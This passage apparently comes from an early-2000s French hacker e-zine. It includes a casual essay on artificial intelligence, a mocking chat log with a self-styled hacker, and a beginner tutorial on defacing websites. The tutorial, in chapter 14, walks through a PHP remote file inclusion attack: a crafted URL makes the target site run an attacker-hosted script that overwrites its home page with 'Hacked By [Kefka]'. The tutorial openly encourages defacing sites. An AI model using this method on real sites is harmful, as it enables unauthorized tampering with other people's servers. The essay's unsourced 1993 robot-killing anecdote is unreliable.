1) Ceci est la clé de la voiture, qui va te sevrir a mettre le moteur en marche.

2) Ceci est la voiture, que tu vas ouvrir avec la clé, la partie latérale de la voiture est la portière, qui comprend des objets noirs, apellés : poignées

3) Prend la clé, va vers la voiture et met toi en face de la portière.

4) Sous la poignée noire de la voiture, la pièce métallique ronde de la voiture est la serrure correspondant à la clé.

5) Introduis la clé dans la serrure jusqu'au fond. Tourne la clé vers la droite jusqu'à que tu entendes un déclic.

6) Ramène la clé dans sa position précédente et sors la clé de la serrure.

7) Ouvre la portière en tirant sur la poignée, et assis toi devant la pièce en forme d'anneau, qui est le volant, sur le siège avant gauche.

8) Ferme la portière.

9) Devant toi, il ya une autre serrure. Insère-y la clé et tourne la vers la droite. 

L'intelligence artificielle va donc consister à établir des instructions très précises, afin de donner un certain niveau de connaissances à notre robot. Tout code source d'un robot basé sur l'intelligence artificielle contiendra une très longue déclaration de variables, de sorte à ce que le robot puisse utiliser des éléments, etc... 

On va devoir assimiler certaines fonctions à notre robot, de sorte à le rapprocher plus de l'homme. Les êtres humains possèdent la faculté d'apprendre, d'avoir des sentiments, de parler, etc...  L'intelligence artificielle va consister à implementer ces facultés sur un robot. Pour le rapprocher le plus de l'être humain, on va lui donner la possibilité de réagir, par exemple si on parle de lui ou qu'on lui pose des questions...

Quand il ne sera pas content, qu'on l'interrogera sur divers sujets, notre robot devra donc pouvoir se défendre, argumenter, répondre, ou encore manifester ses sentiments. On devra évidemment y inclure une faculté de comprendre, d'écouter, et de parler.

Mais là où se rend compte que l'intelligence artificielle à des limites, c'est quand on s'aperçoit que notre robot ne pourra jamais avoir sa propre opinion tant qu'elle ne sera pas préalablement programmée par son concepteur. Pour "masquer" cette faiblesse, on pourra par exemple incrémenter au robot la fonction d'enregistrer les paroles des autres (ceux qui vont tester le robot), afin de conçevoir une opinion, impersonnelle.        

En aucun cas le robot ne pourra avoir quelque chose de "personnel" en lui. Toutes les actions qu'il fait seront déjà pré-programmées. 

Cependant, quelques exemples peuvent démontrer le contraire, assez troublants je dois dire. En 1993, dans une entreprise au Japon, un bras mécanique servant à l'assemblage des voitures a brusquement attrapé un employé, et l'a etranglé jusqu'à sa mort, pour le relacher ensuite. Une polémique a par la suite éclater, remettant en cause le danger des ordinateurs. Alors, les ordinateurs peuvent ils fabriquer leur propre conscience?

En réalité, on pourrait expliquer ce meurtre comme une simple erreur de programmation, le bras mécanique n'a fait que suivre bêtement des instructions données par des programmeurs, dont l'une d'entres elles comprenait une erreur... A moins que ce soit cete imbécile de victime qui s'est mise au devant du bras mécanique, :p , c'est bien possible... Quand aux hypothéses reçues sur le fait que les ordinateurs ont bien une conscience, je répond : négatif

C'est le programmeur qui attribue une "cyber-conscience" à l'ordinateur, mais certainement pas l'ordinateur lui-même, sinon ca serait grave... 

Alors, dites vous :

ERRARE HUMANUM EST , l'erreur est humaine, càd si un ordinateur se trompe, c'est parce que c'est VOUS qui l'avez fait planté, et ce n'est pas parce que l'ordinateur veut vous désintégrer ni parce qu'il ne vous aime pas, compris?  :p 
 

L'intelligence que nous pourrons donner aux ordinateurs ne sera jamais qu'artificielle, ne vous attendez pas à un ordinateur doué de la pensée, et qui puisse se reproduire... mdr

Merci l'intelligence artificielle, pour ton "avant-gôut" de la science-fiction... IA rulez ... 
 
 
 

13°/Discussion avec un lamer 

Bon, ce chapitre a pour but de vous montrer à quel point les lamers sont des êtres ignares... Attention : A ne pas confondre avec newbie, le lamer se caractèrise par sa prétention hors-pair et son manque de culture catastrophique... Heuresement, les lamers sont en voie d'extinction de nos jours, de plus en plus difficiles à trouver...

Cependant il subsiste encore quelques humains de cette espéce, la plupart chattent sur IRC. Les principales activités des lamers sont le nuke, le flood et les trojans (et encore, c'est un peu complexe pour eux les trojans :p).

Je suis donc parti à la recherche des lamers disparus, tâche d'ailleurs très complexe, puisque les lamers se répandent un peu partout sur tous les canaux... Chercher et trouver des lamers sur IRC me paraissait donc une tâche assez ardue, car il faut dire que les lamers sur les salons de hacking sont toujours les premiers à être virés, vu qu'ils se la pétent un peu de trop ;) . Puis j'ai décidé d'aller sur Caramail, sur le salon #H@ckers  , histoire de changer... Miséricorde... Après quelques rapides observations sur les propos tenus, j'en ai conclus que les lamers avaient certainement emigrer, en partant de IRC ou plus personne ne voulait d'eux, et en allant sur Caramail, un repère idéal puisque ce chat est essentiellement consitué de meufs et de vieux, facilement impressionables :p . Je commence déjà à placer un "Bonjour tout le monde" sur le salon #H@cKer que déjà trois abrutis me mettent en Ignore... Personne ne semble vouloir me répondre, alors je place un deuxième "Bonjour tout le monde", encore un soufflet.

Encore deux personnes me mettent en Ignore, alors enervé, j'insulte les gens qui m'ont mis en Ignore (arf, ca sert à que dalle mais ça fait du bien ), haa ba ca y'est une meuf me répond (et oui y'a même des meufs qui hackent , c'est fou non??), "cesse d'insulter les autres, c'est stupide".

Bon, résistant à la tentation de proliférer je ne sais quelles insultes misogyne, je prend quelqu'un au hasard sur la liste des connectés, et je lui adresse un MP .

Je vais maintenant reproduire cette conversation culte, qui m'a fais carrèment mourir de rire... M'a aussi donné l'envie d'écrire cet article, alors on peut remercier le pov' lamer. Je garde quand même son nick secret, pour plus d'intimité, je suis pas un salaud moi :p  : 

<nickairmax> Salut

<xxxxxxxxxxx> lut

<nickairmax> tu t'y connais en hacking ?

<xxxxxxxxxxx> Oué je my coné trop !

<nickairmax> Cooll, tu sé fere koi?

<nickairmax> Tu sé programmer?

<xxxxxxxxxxx> ba bien sur

<nickairmax> c vrai??? en koi?

<xxxxxxxxxxx> ba en tout

<nickairmax> wow tas lair vachement fort dis donc

<nickairmax> t'as déjà defacé des sites?

<xxxxxxxxxxx> défacer?????

<nickairmax> oué, pirater si tu prefere

<xxxxxxxxxxx> a ba oui

<xxxxxxxxxxx> regarde caramail par exemple

<xxxxxxxxxxx> kan ils disent que le site est en cours de maintenance, ca veut dire qu'on les a piraté

<nickairmax> tas deja pirater cara toi???? 
<xxxxxxxxxxx> oui plus d'une fois

<nickairmax> Tas fé comment ?????

<xxxxxxxxxxx> il fo se servir de sa tete

<xxxxxxxxxxx> et avoir plein de programme

<nickairmax> tas hacké caramail avec un programme?

<xxxxxxxxxxx> oui mé je te dirais pas commen

<xxxxxxxxxxx> va sur http://(bon le site qu'il ma donné était tellement un site de lammer que je préfére pas vous donner l'adresse mdr)

<nickairmax> oooo cool merci

<xxxxxxxxxxx> de rien , avec le temps tu progressera

<nickairmax> tu pourra mapprendre a pirater caramaiL?

<xxxxxxxxxxx> t pas encore assez fort pour ca

<xxxxxxxxxxx> mais bonn, maintenant je pirate plus cara

<nickairmax> pkoi?

<xxxxxxxxxxx> la derniere fois g eu des emmerdes, ya les flics kiont debarqué

<nickairmax> nan????

<xxxxxxxxxxx> je men suis tiré avec une ammende de 5000francs

<nickairmax> ouahouuuu

<nickairmax> ce seré pas toi ki avé pirater le chat de caramail ya pas longtemps?

<xxxxxxxxxxx> si cté moi

<xxxxxxxxxxx> bof cté facile

<nickairmax> ta fé comment?

<xxxxxxxxxxx> avec un programme ossi ! mais arrete de poser des questions debiles

<nickairmax> ok, parlons dot chose

<xxxxxxxxxxx> oui

<xxxxxxxxxxx> sinon tu sé fere koi?

<nickairmax> pirater des sites en exploitant des failles php/cgi/phf/sendmail ou par buffer overflow/oversize packet/unicode

<nickairmax> pirater des mecs par trojan/nuke/netbios/virus/ping overflood et je c programmer en c/batch/basic/javascript/vb un peu de php ossi

<nickairmax> sinon j'aime bien tout se qui se rapp à internet, genre les standards et les protocoles utilisés par internet, bref, tout ca koi

<xxxxxxxxxxx> oué moi aussi ché fere ca

<xxxxxxxxxxx> sinon le hack par ftp c cool aussi

<nickairmax> oui, bien que ca soit un peu dur....

<xxxxxxxxxxx> faut sy connaitre

<nickairmax> sinon, tu boote sous kel o.s ? 

Et puis il s'est barré.. mdr. La question piège pour débusquer un lamer, c'est généralement "tu bootes sous kel O.S?" , car cette question comprend deux mots compliqués, arf, "boote" et "O.S", ptdr... 

Voilà, ce chapite était en fait un coup de gueule à tous les gugus de l'internet, ceux qui se la jouent Mitnick, qui se disent hackers alors qu'ils savent même pas déclarer une variable... Mdr, enfin si vous avez des logs de conversations avec des lamers faites sous IRC, n'hésitez pas à me les envoyer, je suis trop friant de ça  :p.

Mort aux c0wb0yz ... 
 
 
 

14°/Exploiter les failles php 

Les failles php sont de nos jours certainement des plus appréciées par les script-kiddies... Elles nécessitent en revanche une conaissance minimale du php, un langage de programmation très proche du C, et qui est trés utile pour créer des pages web dynamiques, une alternative à JavaScript en quelque sorte... Bon, sans plus tarder, on commence !

Il va déjà vous falloir créer une home page en php, pour cela, télechargez EasyPhp, avec lequel vous pourrez mettre en route un serveur Apache et heberger des documents html, le tout très rapidement ;) .

Bon, une fois votre home page faite (http://votre_ip), on va rechercher un site qui exploite le php... On va prendre un exemple.  

Disons que vous tombez sur une page dont l'url est :

http://www.exemple.com/index.php?page=index.htm 

D'après nos connsaissances en php, on en déduit que le site utilise la fonction include() pour inclure différentes sections.  

On pourrait par exemple tester :

http://www.exemple.com/index.php?page=page1.htm 

Si l'on tape ceci dans son browser, on va être redirigé sur page1.htm, si bien entendu cette page existe.

On a donc vu que le fichier index.php du site utlisait la fonction include($page) pour permettre l'affichage des autres pages présentes sur le serveur, où $page est la variable à laquelle on assigne la page que l'on veut visiter. Là où réside le problème, c'est que l'on peut, si le serveur est mal configuré, exporter des documents html/php en provenance d'un autre serveur.  

Ainsi, si l'on essaye de taper ceci :

http://www.exemple.com/index.php?page=http://rndghost.com/index.html 

Le serveur nous redigera automatiquement vers la page d'accueil de rndghost (encore de la pub pour ce site lol).

Et c'est justement cette faille là que nous allons exploiter...

On va créer un fichier sur notre serveur Apache, nommé par exemple hack.php, contenant le script suivant : 

<?

$fp=fopen("index.html","w"); 
fwrite($fp,"Hacked By [Kefka]"); 
fclose($fp); 
?>
 

Maintenant on tape dans la barre d'url : http://www.exemple.com/index.php?page=http://mon_ip/hack.php

Notre script php va être, pour notre plus grand plaisir, éxécuté. Maintenant si l'on retourne sur la page d'accueil de exemple.com.

Notre message, Hacked By [Kefka], va être affiché !!! 

Explications : Via la fonction fopen(), nous avons pu définir la page que nous avons souhaiter modifier (si cette page n'existe pas, alors elle est crée), cette page n'était autre que la page d'accueil du site... Enfin, avec la fonction fwrite(), nous avons remplacer le contenu de la page d'accueil par le notre, Hacked By [Kefka], nettement plus cool :)) 

Voilà, c'est fini, cet article est destiné aux débutants qui n'ont pas envie de se taper deux trois heures de boulot pour obtenir un shell root sur un serveur à la con qui leur permettrait de modifier la page d'accueil d'un site..

Comme quoi, y'a pas besoin d'être un pro pour défacer des sites :))  !!! 
 
 
 

15°/Conclusion 

Et bien, maintenant c'est le moment de conclure... C'est marrant, mais je crois que cette conclusion est encore plus pénible à taper que tout le reste... Bah voui, je sais pas trop quoi mettre... Mdr, enfin, si vous avez des questions, des commentaires, ou autres insultes à proliférer, vous pouvez toujours me contacter par courrier éléctronique à nickairmax@caramail.com ou encore me retrouver sur le channel #hack de irc.jeuxvideo.com , je me ferais un plaisir de vous kicker, heu pardon, de vous aider lol. Allez, on se retrouve au prochain numéro... +++++ 

THANK'S YOU FOR HACKING

COMING SOON

[Kefka]